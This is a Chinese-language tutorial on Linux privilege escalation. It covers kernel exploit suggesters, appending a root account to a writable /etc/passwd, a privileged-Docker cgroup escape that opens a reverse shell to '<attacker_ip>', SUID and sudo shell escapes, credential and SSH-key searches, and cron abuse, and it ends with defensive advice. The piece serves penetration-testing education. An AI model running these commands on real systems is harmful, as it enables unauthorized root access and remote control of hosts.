Linux提权由浅入深
字数 2158 2025-08-30 06:50:11
Linux提权技术深度解析
前言
Linux提权(Privilege Escalation)是渗透测试与内网攻防中的关键环节。本文将从实际出发,系统介绍Linux中常见的提权方式,涵盖信息收集、文件权限分析、内核漏洞利用、配置错误利用等多个方面,帮助读者建立完整的提权知识体系。
Linux权限基础
用户和组
Linux用户分为三类:
- 系统管理员(root):UID为0,拥有所有系统权限
- 系统用户:UID在1-499(Centos7为1-999)之间,用于系统服务
- 自定义用户:UID在500(Centos7为1000)以上,供用户登录使用
关键文件
/etc/passwd
格式:用户名:密码:用户ID:组ID:用户说明:家目录:登陆shell
/etc/shadow
存储用户加密密码及相关安全信息,格式:
用户名:加密密码:密码最后一次修改日期:两次密码修改时间间隔:密码有效期:密码修改到期警告天数:密码过期宽限天数:账号失效时间:保留
密码加密格式:$id$salt$encrypted
- id表示算法(1=MD5,5=SHA-256,6=SHA-512)
- salt为盐值
- encrypted为密码hash值
文件权限
Linux使用rwx(读、写、执行)控制文件权限:
r:读取w:写入x:执行(对目录表示可进入)
查看权限命令:ls -l或ls -la
权限示例:-rw-r--r-- 1 root root
- 第一个字符:文件类型(
-普通文件,d目录,l软链接等) - 接下来三组:所有者、组、其他用户权限
- 数字:硬链接数或子目录数
- 两个root:所有者和所属组
特殊权限
- SUID(Set User ID):执行时临时赋予文件所有者权限
- SGID(Set Group ID):执行时临时赋予文件所属组权限
- SBIT(Sticky Bit):目录中只有所有者和管理员可删除/修改文件
信息收集
自动化工具
推荐工具:
- linux-soft-exploit-suggester
- linux-exploit-suggester-2
- Linux_Exploit_Suggester
- linux-exploit-suggester
手动收集
关键命令:
- 查看系统信息:
uname -a - 查看用户和群组:
cat /etc/passwd,cat /etc/group - 查找明文密码:
grep -r "password" / - 查找SSH私钥:
find / -name "id_rsa" 2>/dev/null
提权方法详解
1. 内核提权
原理:利用Linux内核漏洞获取root权限
步骤:
- 收集内核版本信息:
uname -a - 查找对应漏洞及EXP
- 执行EXP实现提权
工具使用:
./linux-exploit-suggester.sh
结果分类:
- Highly probable:高概率可直接利用
- Probable:可能需要修改EXP
- Less probable:需手动验证
- Unprobable:低概率受影响
2. /etc/passwd提权
前提:/etc/passwd文件可写
步骤:
-
生成加密密码:
openssl passwd -1 -salt hacker 123456或使用Python:
python -c 'import crypt; print(crypt.crypt("123456", "$6$salt"))' -
构造账号条目并追加:
echo "hacker:\$1\$hacker\$rlg3URzW8UubvJQmH0J4X.:0:0::/root:/bin/bash" >> /etc/passwd -
切换用户:
su hacker
3. Docker提权
特权容器提权
检测:
docker inspect --format='{{.HostConfig.Privileged}}' <container_id>
利用:
# 在容器内执行
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=$[^,]*$.*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "sh -i >& /dev/tcp/<attacker_ip>/<port> 0>&1" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
挂载宿主机目录提权
检测:
docker inspect --format='{{.Mounts}}' <container_id>
利用:
如果挂载了/etc目录,可参考/etc/passwd提权方法
4. SUID提权
查找SUID文件:
find / -perm -4000 -type f 2>/dev/null
高危SUID程序及利用方法:
| 程序路径 | 提权命令 |
|---|---|
| /usr/bin/find | find . -exec /bin/sh \; |
| /usr/bin/vim | vim -c ':!sh' |
| /usr/bin/python | python -c 'import os; os.system("/bin/sh")' |
| /usr/bin/perl | perl -e 'exec "/bin/sh";' |
| /usr/bin/env | env /bin/sh |
| /usr/bin/bash | bash -p |
自动化工具:
AutoSUID可自动检测可利用的SUID程序
5. Sudo提权
检测sudo权限:
sudo -l
常见提权命令:
- 通过Python:
sudo python -c 'import os; os.system("/bin/sh")'
- 通过find:
sudo find / -exec /bin/sh \; -quit
- 通过vim:
sudo vim -c ':!sh'
- 通过perl:
sudo perl -e 'exec "/bin/sh";'
6. 定时任务提权
检测定时任务:
cat /etc/crontab
ls -la /etc/cron*
利用方法:
- 查找可写的定时任务脚本
- 修改脚本内容添加恶意代码
- 等待任务执行获取root权限
示例:
echo 'chmod +s /bin/bash' >> /path/to/vulnerable/script.sh
防御建议
- 定期更新系统和内核
- 严格控制文件权限,特别是/etc/passwd、/etc/shadow等关键文件
- 谨慎使用SUID/SGID权限
- 合理配置sudo权限,避免NOPASSWD滥用
- 安全配置Docker容器,避免特权模式和敏感目录挂载
- 监控定时任务和系统日志
总结
Linux提权技术多种多样,关键在于:
- 全面的信息收集
- 准确的风险点识别
- 选择合适的利用方法
- 谨慎执行避免系统崩溃
掌握这些技术不仅有助于渗透测试,更能帮助系统管理员发现和修复安全隐患。